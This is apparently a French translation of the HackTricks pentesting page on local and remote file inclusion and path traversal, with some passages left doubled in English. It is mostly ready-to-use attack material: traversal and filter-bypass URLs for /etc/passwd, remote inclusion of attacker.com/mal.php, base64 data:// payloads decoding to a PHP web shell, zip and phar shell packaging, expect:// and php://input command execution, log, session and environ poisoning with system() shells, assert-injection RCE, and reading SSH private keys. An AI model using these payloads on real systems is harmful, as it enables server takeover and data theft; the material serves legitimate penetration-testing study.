hacktricks/pentesting-web/file-inclusion

Inclusion de fichiers/Traversée de chemin

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
• Découvrez La famille PEASS, notre collection exclusive de NFT
• Obtenez le swag officiel PEASS & HackTricks
• Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

HackenProof est la plateforme des primes de bugs cryptographiques.

Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.

Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez une légende du piratage web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos piratages !

{% embed url="https://hackenproof.com/register" %}

Inclusion de fichiers

Inclusion de fichiers distants (RFI) : Le fichier est chargé à partir d'un serveur distant (idéal : vous pouvez écrire le code et le serveur l'exécutera). En PHP, cela est désactivé par défaut (allow_url_include).
Inclusion de fichiers locaux (LFI) : Le serveur charge un fichier local.

La vulnérabilité se produit lorsque l'utilisateur peut contrôler de quelque manière que ce soit le fichier qui va être chargé par le serveur.

Fonctions PHP vulnérables : require, require_once, include, include_once

Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap

Aveugle - Intéressant - Fichiers LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

En mélangeant plusieurs listes LFI *nix et en ajoutant plus de chemins, j'ai créé celle-ci :

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Essayez également de changer / pour \
Essayez également d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (afin de vérifier si la vulnérabilité existe) peut être trouvée ici

Windows

En fusionnant plusieurs listes, j'ai créé celle-ci :

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Essayez également de changer / pour \
Essayez également de supprimer C:/ et d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (afin de vérifier si la vulnérabilité existe) peut être trouvée ici

OS X

Consultez la liste LFI de Linux.

LFI de base et contournements

Tous les exemples sont pour l'inclusion de fichiers locaux, mais peuvent également être appliqués à l'inclusion de fichiers distants (page=http://monserveur.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

séquences de traversée dépouillées de manière non récursive

When performing file inclusion attacks, it is common to use traversal sequences to access files outside of the intended directory. However, in some cases, the application may strip these traversal sequences in a non-recursive manner.

Lors de l'exécution d'attaques d'inclusion de fichiers, il est courant d'utiliser des séquences de traversée pour accéder à des fichiers en dehors du répertoire prévu. Cependant, dans certains cas, l'application peut supprimer ces séquences de traversée de manière non récursive.

For example, let's say the application replaces "../" with an empty string. If we provide the input "../../../../etc/passwd", the application will strip the "../" part, resulting in "etc/passwd". This can limit the effectiveness of traditional traversal sequences.

Par exemple, supposons que l'application remplace "../" par une chaîne vide. Si nous fournissons l'entrée "../../../../etc/passwd", l'application supprimera la partie "../", ce qui donnera "etc/passwd". Cela peut limiter l'efficacité des séquences de traversée traditionnelles.

To bypass this non-recursive stripping, we can use alternative traversal sequences that are not affected by the application's filtering. For instance, we can try using encoded characters or different representations of traversal sequences.

Pour contourner cette suppression non récursive, nous pouvons utiliser des séquences de traversée alternatives qui ne sont pas affectées par le filtrage de l'application. Par exemple, nous pouvons essayer d'utiliser des caractères encodés ou des représentations différentes des séquences de traversée.

By experimenting with different traversal sequences, we can potentially find a sequence that the application does not strip, allowing us to access files outside of the intended directory.

En expérimentant avec différentes séquences de traversée, nous pouvons potentiellement trouver une séquence que l'application ne supprime pas, ce qui nous permet d'accéder à des fichiers en dehors du répertoire prévu.

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Octet nul (%00)

Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Ceci est résolu depuis PHP 5.4

Encodage

Vous pouvez utiliser des encodages non standard tels que l'encodage double URL (et d'autres):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

À partir d'un dossier existant

Il se peut que le back-end vérifie le chemin du dossier :

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Identification des dossiers sur un serveur

Selon le code applicatif / les caractères autorisés, il est possible d'explorer de manière récursive le système de fichiers en découvrant les dossiers et pas seulement les fichiers. Pour ce faire :

• identifiez la "profondeur" de votre répertoire actuel en récupérant avec succès /etc/passwd (si vous êtes sur Linux) :

http://example.com/index.php?page=../../../etc/passwd # depth of 3

• Essayez de deviner le nom d'un dossier dans le répertoire actuel en ajoutant le nom du dossier (ici, private), puis en revenant à /etc/passwd:

http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd

• si l'application est vulnérable, il peut y avoir deux résultats différents pour la requête :
• si vous obtenez une erreur / aucune sortie, le dossier private n'existe pas à cet emplacement
• si vous obtenez le contenu de /etc/passwd, vous avez confirmé qu'il y a effectivement un dossier private dans votre répertoire actuel
• les dossiers que vous avez découverts en utilisant cette technique peuvent ensuite être fuzzés pour les fichiers (en utilisant une méthode LFI classique) ou pour les sous-répertoires en utilisant la même technique de manière récursive.

Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, dans la même hypothèse (répertoire actuel à une profondeur de 3 dans le système de fichiers), vous souhaitez vérifier si /var/www/ contient un répertoire private, utilisez la charge utile suivante :

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

La séquence de commandes suivante permet de générer des charges utiles en utilisant sed (1) comme entrée pour les outils de fuzzing d'URL tels que ffuf (2) :

$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"

Bien sûr, adaptez ces charges utiles à vos besoins en termes de profondeur / emplacement / liste de répertoires d'entrée.

Troncature de chemin

Contournez l'ajout de plus de caractères à la fin de la chaîne fournie (contournement de: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Toujours essayer de commencer le chemin avec un faux répertoire (a/).

Cette vulnérabilité a été corrigée dans PHP 5.3.

Astuces de contournement du filtre

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Inclusion de fichier à distance

En PHP, cela est désactivé par défaut car allow_url_include est Off. Il doit être On pour que cela fonctionne, et dans ce cas, vous pouvez inclure un fichier PHP depuis votre serveur et obtenir une RCE (exécution de code à distance) :

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si, pour une raison quelconque, allow_url_include est activé, mais que PHP filtre l'accès aux pages web externes, selon cet article, vous pouvez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP en base64 et obtenir une RCE :

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} Dans le code précédent, le +.txt final a été ajouté car l'attaquant avait besoin d'une chaîne se terminant par .txt, de sorte que la chaîne se termine avec cela et après le décodage b64, cette partie ne renverra que des données indésirables et le vrai code PHP sera inclus (et donc, exécuté). {% endhint %}

Un autre exemple sans utiliser le protocole php:// serait:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Élément racine Python

En Python, dans un code comme celui-ci :

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si l'utilisateur passe un chemin absolu à file_name, le chemin précédent est simplement supprimé :

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

C'est le comportement prévu selon la documentation :

Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la jointure continue à partir du composant de chemin absolu.

Java List Directories

Il semble que si vous avez une traversée de chemin dans Java et que vous demandez un répertoire au lieu d'un fichier, une liste du répertoire est renvoyée. Cela ne se produira pas dans d'autres langages (à ma connaissance).

Top 25 paramètres

Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (à partir de ce lien) :

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI en utilisant des wrappers et des protocoles PHP

php://filter

Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant leur lecture ou leur écriture. Il existe 5 catégories de filtres :

• Filtres de chaîne :
• string.rot13
• string.toupper
• string.tolower
• string.strip_tags : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
• Notez que ce filtre a disparu des versions modernes de PHP
• Filtres de conversion
• convert.base64-encode
• convert.base64-decode
• convert.quoted-printable-encode
• convert.quoted-printable-decode
• convert.iconv.* : Transforme en une autre encodage (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de tous les encodages pris en charge, exécutez la commande suivante dans la console : iconv -l

{% hint style="warning" %} En abusant du filtre de conversion convert.iconv.*, vous pouvez générer du texte arbitraire, ce qui peut être utile pour écrire du texte arbitraire ou exécuter une fonction comme include avec du texte arbitraire. Pour plus d'informations, consultez LFI2RCE via php filters. {% endhint %}

• Filtres de compression
• zlib.deflate : Compresse le contenu (utile si vous devez exfiltrer beaucoup d'informations)
• zlib.inflate : Décompresse les données
• Filtres de chiffrement
• mcrypt.* : Obsolète
• mdecrypt.* : Obsolète
• Autres filtres
• En exécutant var_dump(stream_get_filters()); en PHP, vous pouvez trouver quelques filtres inattendus :
• consumed
• dechunk : inverse le codage chunked HTTP
• convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} La partie "php://filter" est insensible à la casse. {% endhint %}

php://fd

Ce wrapper permet d'accéder aux descripteurs de fichiers ouverts par le processus. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Vous pouvez également utiliser php://stdin, php://stdout et php://stderr pour accéder respectivement aux descripteurs de fichiers 0, 1 et 2 (je ne suis pas sûr de l'utilité de cela dans une attaque)

zip:// et rar://

Téléchargez un fichier Zip ou Rar contenant une PHPShell à l'intérieur et y accédez.
Pour pouvoir exploiter le protocole rar, il doit être spécifiquement activé.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

La technique d'inclusion de fichiers est une vulnérabilité courante dans les applications Web qui permet à un attaquant d'inclure des fichiers distants dans le code source de l'application. Cela peut entraîner l'exécution de code arbitraire, la divulgation d'informations sensibles ou d'autres attaques.

La vulnérabilité d'inclusion de fichiers peut être exploitée de différentes manières, notamment en utilisant des paramètres d'URL, des cookies, des en-têtes HTTP ou d'autres entrées utilisateur. L'attaquant peut manipuler ces entrées pour inclure des fichiers distants, tels que des fichiers système sensibles ou des fichiers de configuration contenant des informations sensibles.

Pour exploiter cette vulnérabilité, l'attaquant doit identifier les points d'inclusion de fichiers dans l'application cible. Cela peut être fait en analysant le code source de l'application ou en utilisant des outils d'analyse automatisés. Une fois les points d'inclusion de fichiers identifiés, l'attaquant peut tester différentes techniques d'inclusion de fichiers pour déterminer si la vulnérabilité peut être exploitée.

Il existe plusieurs techniques courantes d'inclusion de fichiers, telles que l'inclusion de fichiers locaux, l'inclusion de fichiers distants et l'inclusion de fichiers basée sur des paramètres d'URL. Chaque technique a ses propres particularités et peut nécessiter des approches différentes pour l'exploitation.

Pour se protéger contre les attaques d'inclusion de fichiers, il est important de mettre en œuvre des mesures de sécurité appropriées, telles que la validation et la désinfection des entrées utilisateur, la limitation des droits d'accès aux fichiers et la configuration sécurisée des paramètres du serveur. Les tests de pénétration réguliers peuvent également aider à identifier et à corriger les vulnérabilités d'inclusion de fichiers dans les applications Web.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Note that this protocol is restricted by php configurations allow_url_open and allow_url_include

expect://

Expect has to be activated. You can execute code using this.

---

Traduction en français :

Fun fact : vous pouvez déclencher une XSS et contourner l'auditeur Chrome avec : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include

expect://

Expect doit être activé. Vous pouvez exécuter du code en utilisant cela.

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spécifiez votre charge utile dans les paramètres POST

http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>

phar://

Un fichier .phar peut également être utilisé pour exécuter du code PHP si le site web utilise une fonction comme include pour charger le fichier.

{% code title="create_phar.php" %}

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();

{% endcode %}

Et vous pouvez compiler le phar en exécutant la ligne suivante :

php --define phar.readonly=0 create_path.php

Un fichier appelé test.phar sera généré que vous pouvez utiliser pour abuser de la LFI.

Si la LFI se contente de lire le fichier et de ne pas exécuter le code PHP à l'intérieur, par exemple en utilisant des fonctions telles que file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**. Vous pouvez essayer d'exploiter une désérialisation qui se produit lors de la lecture d'un fichier en utilisant le protocole phar.
Pour plus d'informations, lisez l'article suivant :

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Plus de protocoles

Consultez d'autres protocoles à inclure ici:

• php://memory et php://temp — Écrire en mémoire ou dans un fichier temporaire (je ne suis pas sûr de l'utilité de cela dans une attaque d'inclusion de fichier)
• file:// — Accès au système de fichiers local
• http:// — Accès aux URL HTTP(s)
• ftp:// — Accès aux URL FTP(s)
• zlib:// — Flux de compression
• glob:// — Recherche de noms de fichiers correspondant à un motif (ne renvoie rien de lisible, donc pas vraiment utile ici)
• ssh2:// — Secure Shell 2
• ogg:// — Flux audio (pas utile pour lire des fichiers arbitraires)

LFI via l'assert de PHP

Si vous rencontrez une LFI difficile qui semble filtrer les chaînes de traversée telles que ".." et répondre avec quelque chose du genre "Tentative de piratage" ou "Belle tentative !", une charge utile d'injection 'assert' peut fonctionner.

Une charge utile comme celle-ci :

' and die(show_source('/etc/passwd')) or '

Le code PHP sera exploité avec succès pour un paramètre "file" qui ressemble à ceci :

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

Il est également possible d'obtenir une exécution de code à distance (RCE) dans une déclaration "assert" vulnérable en utilisant la fonction system().

' and die(system("whoami")) or '

Assurez-vous d'encoder les charges utiles avant de les envoyer.

HackenProof est le lieu de tous les programmes de primes pour les bugs cryptographiques.

Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.

Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez la légende des hackers web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !

{% embed url="https://hackenproof.com/register" %}

Traversée de chemin PHP aveugle

{% hint style="warning" %} Cette technique est pertinente dans les cas où vous contrôlez le chemin du fichier d'une fonction PHP qui accédera à un fichier mais dont le contenu ne sera pas affiché (comme un simple appel à file()) mais le contenu n'est pas affiché. {% endhint %}

Dans cet incroyable article, il est expliqué comment une traversée de chemin aveugle peut être exploitée via un filtre PHP pour exfiltrer le contenu d'un fichier via un oracle d'erreur.

En résumé, la technique utilise le codage "UCS-4LE" pour rendre le contenu d'un fichier si volumineux que la fonction PHP d'ouverture du fichier déclenchera une erreur.

Ensuite, pour divulguer le premier caractère, le filtre dechunk est utilisé avec d'autres filtres tels que base64 ou rot13, et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d'autres caractères au début et les divulguer.

Fonctions pouvant être vulnérables : file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (seulement en lecture seule avec cela), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Pour les détails techniques, consultez l'article mentionné !

LFI2RCE

Inclusion de fichier à distance

Expliqué précédemment, suivez ce lien.

Via le fichier journal Apache/Nginx

Si le serveur Apache ou Nginx est vulnérable à LFI à l'intérieur de la fonction d'inclusion, vous pouvez essayer d'accéder à /var/log/apache2/access.log ou /var/log/nginx/access.log, en définissant à l'intérieur de l'agent utilisateur ou à l'intérieur d'un paramètre GET une coquille PHP comme <?php system($_GET['c']); ?> et inclure ce fichier

{% hint style="warning" %} Notez que si vous utilisez des guillemets doubles pour la coquille au lieu de guillemets simples, les guillemets doubles seront modifiés pour la chaîne "quote;", PHP générera une erreur à cet endroit et rien d'autre ne sera exécuté.

De plus, assurez-vous d'écrire correctement la charge utile ou PHP générera une erreur à chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième chance. {% endhint %}

Cela pourrait également être fait dans d'autres journaux, mais soyez prudent, le code à l'intérieur des journaux pourrait être encodé en URL et cela pourrait détruire la coquille. L'en-tête authorisation "basic" contient "user:password" en Base64 et il est décodé à l'intérieur des journaux. La coquille PHP pourrait être insérée à l'intérieur de cet en-tête.
Autres chemins de journal possibles :

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Liste de mots pour le fuzzing : https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Envoyez un courrier électronique à un compte interne (user@localhost) contenant votre charge utile PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayez de l'inclure dans le courrier de l'utilisateur avec un chemin comme /var/mail/<NOM_UTILISATEUR> ou /var/spool/mail/<NOM_UTILISATEUR>

Via /proc/*/fd/*

1. Téléchargez de nombreux shells (par exemple : 100)
2. Incluez http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut être obtenu par force brute) et $FD le descripteur de fichier (peut également être obtenu par force brute)

Via /proc/self/environ

Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée dans le fichier /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via téléchargement

Si vous pouvez télécharger un fichier, injectez simplement la charge utile de l'interpréteur de commandes dedans (par exemple : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Pour maintenir la lisibilité du fichier, il est préférable d'injecter dans les métadonnées des images/doc/pdf.

Via l'envoi de fichier ZIP

Téléchargez un fichier ZIP contenant une coquille PHP compressée et accédez-y :

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via les sessions PHP

Vérifiez si le site web utilise les sessions PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, ces sessions sont stockées dans des fichiers /var/lib/php5/sess\[PHPSESSID]_.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Définissez le cookie sur <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utilisez la LFI pour inclure le fichier de session PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à <HOME>/.ssh/id_rsa

Via logs vsftpd

Les journaux de ce serveur FTP sont stockés dans /var/log/vsftpd.log. Si vous avez une LFI et pouvez accéder à un serveur vsftpd exposé, vous pouvez essayer de vous connecter en définissant la charge utile PHP dans le nom d'utilisateur, puis accéder aux journaux en utilisant la LFI.

Via le filtre php base64 (en utilisant base64)

comme indiqué dans cet article, le filtre PHP base64 ignore simplement les caractères non base64. Vous pouvez l'utiliser pour contourner la vérification de l'extension de fichier : si vous fournissez une base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" à la base64. Voici un exemple de charge utile :

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via les filtres php (pas de fichier nécessaire)

Ce writeup explique que vous pouvez utiliser les filtres php pour générer du contenu arbitraire en sortie. Cela signifie essentiellement que vous pouvez générer du code php arbitraire pour l'inclusion sans avoir besoin de l'écrire dans un fichier.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Via une erreur de segmentation

Téléchargez un fichier qui sera stocké de manière temporaire dans /tmp, puis dans la même requête, déclenchez une erreur de segmentation, et ensuite le fichier temporaire ne sera pas supprimé et vous pourrez le rechercher.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Via le stockage temporaire des fichiers de Nginx

Si vous avez trouvé une inclusion de fichier local et que Nginx est en cours d'exécution devant PHP, vous pourriez être en mesure d'obtenir une RCE avec la technique suivante :

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

Si vous avez trouvé une inclusion de fichier local, même si vous n'avez pas de session et que session.auto_start est Off. Si vous fournissez PHP_SESSION_UPLOAD_PROGRESS dans les données multipart POST, PHP activera la session pour vous. Vous pourriez exploiter cela pour obtenir une RCE :

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via les téléchargements de fichiers temporaires sous Windows

Si vous avez trouvé une inclusion de fichier local et que le serveur s'exécute sous Windows, vous pourriez obtenir une RCE :

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via phpinfo() (file_uploads = on)

Si vous avez trouvé une inclusion de fichier local et qu'un fichier expose phpinfo() avec file_uploads = on, vous pouvez obtenir une RCE :

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + divulgation de chemin

Si vous avez trouvé une inclusion de fichier local et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure contient des marques PHP, vous pouvez essayer de contourner cette vérification avec cette condition de course :

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Via une attente éternelle + force brute

Si vous pouvez exploiter l'inclusion de fichier local pour télécharger des fichiers temporaires et faire suspendre l'exécution PHP du serveur, vous pouvez ensuite forcer la recherche de noms de fichiers pendant des heures pour trouver le fichier temporaire :

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

Jusqu'à l'erreur fatale

Si vous incluez l'un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le même fichier 2 fois pour provoquer cette erreur).

Je ne sais pas à quoi cela peut servir, mais cela pourrait être utile.
Même si vous provoquez une erreur fatale de PHP, les fichiers temporaires téléchargés par PHP sont supprimés.

Références

PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

HackenProof est la plateforme des primes pour les bugs de cryptographie.

Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bogue.

Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bogue vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
• Découvrez The PEASS Family, notre collection exclusive de NFTs
• Obtenez le swag officiel PEASS & HackTricks
